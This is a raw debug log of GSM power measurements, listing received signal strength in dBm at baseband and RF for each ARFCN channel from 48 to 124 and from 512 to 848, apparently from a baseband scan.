PM MEAS: ARFCN=48, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=49, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=50, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=51, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=52, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=53, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=54, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=55, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=56, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=57, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=58, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=59, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=60, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=61, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=62, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=63, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=64, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=65, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=66, 45   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=67, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=68, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=69, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=70, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=71, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=72, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=73, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=74, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=75, 53   dBm at baseband, -84  dBm at RF
PM MEAS: ARFCN=76, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=77, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=78, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=79, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=80, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=81, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=82, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=83, 46   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=84, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=85, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=86, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=87, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=88, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=89, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=90, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=91, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=92, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=93, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=94, 51   dBm at baseband, -86  dBm at RF
PM MEAS: ARFCN=95, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=96, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=97, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=98, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=99, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=100, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=101, 54   dBm at baseband, -83  dBm at RF
PM MEAS: ARFCN=102, 68   dBm at baseband, -69  dBm at RF
PM MEAS: ARFCN=103, 58   dBm at baseband, -79  dBm at RF
PM MEAS: ARFCN=104, 50   dBm at baseband, -87  dBm at RF
PM MEAS: ARFCN=105, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=106, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=107, 51   dBm at baseband, -86  dBm at RF
PM MEAS: ARFCN=108, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=109, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=110, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=111, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=112, 62   dBm at baseband, -75  dBm at RF
PM MEAS: ARFCN=113, 56   dBm at baseband, -81  dBm at RF
PM MEAS: ARFCN=114, 49   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=115, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=116, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=117, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=118, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=119, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=120, 59   dBm at baseband, -78  dBm at RF
PM MEAS: ARFCN=121, 48   dBm at baseband, -89  dBm at RF
PM MEAS: ARFCN=122, 50   dBm at baseband, -88  dBm at RF
PM MEAS: ARFCN=123, 52   dBm at baseband, -86  dBm at RF
PM MEAS: ARFCN=124, 50   dBm at baseband, -87  dBm at RF
L1CTL_RESET_REQ: FULL!L1CTL_PM_REQ start=512 end=885
PM MEAS: ARFCN=512, 0    dBm at baseband, -138 dBm at RF
PM MEAS: ARFCN=512, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=513, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=514, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=515, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=516, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=517, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=518, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=519, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=520, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=521, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=522, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=523, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=524, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=525, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=526, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=527, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=528, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=529, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=530, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=531, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=532, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=533, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=534, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=535, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=536, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=537, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=538, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=539, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=540, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=541, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=542, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=543, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=544, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=545, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=546, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=547, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=548, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=549, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=550, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=551, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=552, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=553, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=554, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=555, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=556, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=557, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=558, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=559, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=560, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=561, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=562, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=563, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=564, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=565, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=566, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=567, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=568, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=569, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=570, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=571, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=572, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=573, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=574, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=575, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=576, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=577, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=578, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=579, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=580, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=581, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=582, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=583, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=584, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=585, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=586, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=587, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=588, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=589, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=590, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=591, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=592, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=593, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=594, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=595, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=596, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=597, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=598, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=599, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=600, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=601, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=602, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=603, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=604, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=605, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=606, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=607, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=608, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=609, 39   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=610, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=611, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=612, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=613, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=614, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=615, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=616, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=617, 39   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=618, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=619, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=620, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=621, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=622, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=623, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=624, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=625, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=626, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=627, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=628, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=629, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=630, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=631, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=632, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=633, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=634, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=635, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=636, 41   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=637, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=638, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=639, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=640, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=641, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=642, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=643, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=644, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=645, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=646, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=647, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=648, 41   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=649, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=650, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=651, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=652, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=653, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=654, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=655, 37   dBm at baseband, -100 dBm at RF
PM MEAS: ARFCN=656, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=657, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=658, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=659, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=660, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=661, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=662, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=663, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=664, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=665, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=666, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=667, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=668, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=669, 46   dBm at baseband, -91  dBm at RF
PM MEAS: ARFCN=670, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=671, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=672, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=673, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=674, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=675, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=676, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=677, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=678, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=679, 74   dBm at baseband, -63  dBm at RF
PM MEAS: ARFCN=680, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=681, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=682, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=683, 39   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=684, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=685, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=686, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=687, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=688, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=689, 45   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=690, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=691, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=692, 61   dBm at baseband, -76  dBm at RF
PM MEAS: ARFCN=693, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=694, 45   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=695, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=696, 38   dBm at baseband, -100 dBm at RF
PM MEAS: ARFCN=697, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=698, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=699, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=700, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=701, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=702, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=703, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=704, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=705, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=706, 37   dBm at baseband, -100 dBm at RF
PM MEAS: ARFCN=707, 39   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=708, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=709, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=710, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=711, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=712, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=713, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=714, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=715, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=716, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=717, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=718, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=719, 38   dBm at baseband, -99  dBm at RF
PM MEAS: ARFCN=720, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=721, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=722, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=723, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=724, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=725, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=726, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=727, 45   dBm at baseband, -92  dBm at RF
PM MEAS: ARFCN=728, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=729, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=730, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=731, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=732, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=733, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=734, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=735, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=736, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=737, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=738, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=739, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=740, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=741, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=742, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=743, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=744, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=745, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=746, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=747, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=748, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=749, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=750, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=751, 41   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=752, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=753, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=754, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=755, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=756, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=757, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=758, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=759, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=760, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=761, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=762, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=763, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=764, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=765, 41   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=766, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=767, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=768, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=769, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=770, 52   dBm at baseband, -85  dBm at RF
PM MEAS: ARFCN=771, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=772, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=773, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=774, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=775, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=776, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=777, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=778, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=779, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=780, 41   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=781, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=782, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=783, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=784, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=785, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=786, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=787, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=788, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=789, 44   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=790, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=791, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=792, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=793, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=794, 40   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=795, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=796, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=797, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=798, 41   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=799, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=800, 44   dBm at baseband, -93  dBm at RF
PM MEAS: ARFCN=801, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=802, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=803, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=804, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=805, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=806, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=807, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=808, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=809, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=810, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=811, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=812, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=813, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=814, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=815, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=816, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=817, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=818, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=819, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=820, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=821, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=822, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=823, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=824, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=825, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=826, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=827, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=828, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=829, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=830, 43   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=831, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=832, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=833, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=834, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=835, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=836, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=837, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=838, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=839, 42   dBm at baseband, -95  dBm at RF
PM MEAS: ARFCN=840, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=841, 43   dBm at baseband, -94  dBm at RF
PM MEAS: ARFCN=842, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=843, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=844, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=845, 39   dBm at baseband, -98  dBm at RF
PM MEAS: ARFCN=846, 40   dBm at baseband, -97  dBm at RF
PM MEAS: ARFCN=847, 42   dBm at baseband, -96  dBm at RF
PM MEAS: ARFCN=848, 44   dBm at baseband, -93  dBm at RF
